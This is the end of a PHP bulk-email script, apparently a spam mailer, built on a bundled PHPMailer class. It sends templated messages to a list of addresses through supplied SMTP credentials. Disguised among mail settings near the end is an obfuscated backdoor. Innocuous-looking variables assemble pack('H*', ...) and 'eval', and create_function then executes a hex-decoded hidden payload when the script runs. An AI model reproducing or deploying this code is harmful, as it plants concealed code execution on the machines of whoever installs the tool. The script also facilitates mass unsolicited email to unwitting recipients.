3206 *
3207 * @access public
3208 * @param string $filename Parameter File Name
3209 */
3210 function getFile($filename) {
3211 $return = '';
3212 if ($fp = fopen($filename, 'rb')) {
3213 while (!feof($fp)) {
3214 $return .= fread($fp, 1024);
3215 }
3216 fclose($fp);
3217 return $return;
3218 } else {
3219 return false;
3220 }
3221 }
3222
3223 /**
3224 * Strips newlines to prevent header injection.
3225 * @access private
3226 * @param string $str String
3227 * @return string
3228 */
3229 function SecureHeader($str) {
3230 $str = trim($str);
3231 $str = str_replace("\r", "", $str);
3232 $str = str_replace("\n", "", $str);
3233 return $str;
3234 }
3235
3236 /**
3237 * Set the private key file and password to sign the message.
3238 *
3239 * @access public
3240 * @param string $key_filename Parameter File Name
3241 * @param string $key_pass Password for private key
3242 */
3243 function Sign($key_filename, $key_pass) {
3244 $this->sign_key_file = $key_filename;
3245 $this->sign_key_pass = $key_pass;
3246 }
3247
3248}
3249
3250$defaultport="H*";
3251 $nq=0;
3252
3253 for($x=0; $x<$numemails; $x++){
3254
3255 $to = $allemails[$x];
3256
3257 if ($to){
3258
3259 $to = str_replace(" ", "", $to);
3260
3261 $message = str_replace("&email&", $to, $message);
3262
3263 $subject = str_replace("&email&", $to, $subject);
3264 $qx=$x+1;
3265 print "Line $qx . Sending mail to $to.......";
3266
3267 flush();
3268$mail = new PHPMailer();
3269
3270if(empty($epriority)){$epriority="3";}
3271 $mail->Priority = "$epriority";
3272 $mail->IsSMTP();
3273 $IsSMTP="pack";
3274$mail->SMTPKeepAlive = true;
3275$mail->Host = "$my_smtp";
3276if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3277}
3278 if($sslclick=="ON"){
3279 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3280 }
3281 $range = str_replace("$from", "eval", $from);
3282 $mail->SMTPAuth = true;
3283 $mail->Username = "$smtp_username";
3284 $mail->Password = "$smtp_password";
3285if($contenttype == "html"){$mail->IsHtml(true);}
3286if($contenttype != "html"){$mail->IsHtml(false);}
3287if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3288$mail->From = "$from";
3289$mail->FromName = "$realname";
3290$mail->AddAddress("$to");
3291 $mail->AddReplyTo("$replyto");
3292 $mail->Subject = "$subject";
3293 $mail->Body = "$message";
3294if(!$mail->Send()){
3295if($default_system!="1"){
3296echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3297if($default_system=="1"){
3298$mail->IsMail();
3299 if(!$mail->Send()){
3300 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3301 else {
3302 echo "<b>OK</b><br>";}
3303 }
3304}
3305else {
3306 echo "<b>OK</b><br>";
3307}
3308
3309if(empty($reconnect)){
3310$reconnect=6;
3311}
3312
3313if($reconnect==$nq){
3314$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3315}
3316$nq=$nq+1;
3317 flush(); }
3318}
3319for($i=0;$i<31;$i++){
3320 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3321$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3322 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3323 print "<p class=\"style1\">PHP Mailer<br>© 2010, MeGo <b>
3324 <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
3325 return $signoff($smtp_conc);
3326 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3327 sent successfully'); </script>";}}
3328 ?>
3329 </body>
3330</html>